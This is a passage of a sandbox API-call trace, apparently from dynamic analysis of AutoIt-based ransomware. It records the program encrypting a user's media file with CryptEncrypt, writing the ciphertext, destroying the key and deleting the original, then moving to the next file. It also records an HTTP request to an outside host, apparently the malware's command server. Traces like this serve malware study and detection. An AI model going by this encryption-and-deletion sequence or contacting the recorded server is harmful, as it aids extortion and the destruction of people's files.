hKey=0x164c4f0, dwParam=0x7, pbData=0x16295c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.134] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.134] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.135] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.135] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.135] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.136] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.136] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.136] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.136] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.137] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.137] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x7cdb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x7ce0) returned 1 [0068.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.138] CharLowerBuffW (in: lpsz="byte[31969]", cchLength=0xb | out: lpsz="byte[31969]") returned 0xb [0068.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.139] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.139] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.139] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.139] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.140] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188c9e0*, pdwDataLen=0x130e618*=0x7cdb, dwBufLen=0x7ce0 | out: pbData=0x188c9e0*, pdwDataLen=0x130e618*=0x7ce0) returned 1 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.140] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.140] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.140] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.140] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.140] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.140] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.143] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x7ce0, lpOverlapped=0x0) returned 1 [0068.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.145] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.145] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.145] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.145] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.146] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.146] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0068.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.146] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.146] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.146] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.148] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.148] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.148] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.148] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.148] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.148] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.148] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.148] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.148] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.149] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.149] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.149] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.149] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.149] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.149] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.149] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0068.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.150] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.150] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.150] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.150] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.150] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.150] CloseHandle (hObject=0x3bc) returned 1 [0068.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.150] CloseHandle (hObject=0x2ac) returned 1 [0068.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.153] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.153] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", lpFilePart=0x0) returned 0x3c [0068.153] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\hjxn13kwkf.swf")) returned 0x20 [0068.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0068.153] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\hjxn13kwkf.swf")) returned 1 [0068.154] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.155] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0068.155] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.155] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.155] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.155] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.155] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.155] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.155] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.155] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.155] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.156] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.156] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.156] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0068.156] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.156] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.156] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.156] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.156] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.157] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.157] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.157] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.157] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.157] CloseHandle (hObject=0x0) returned 0 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 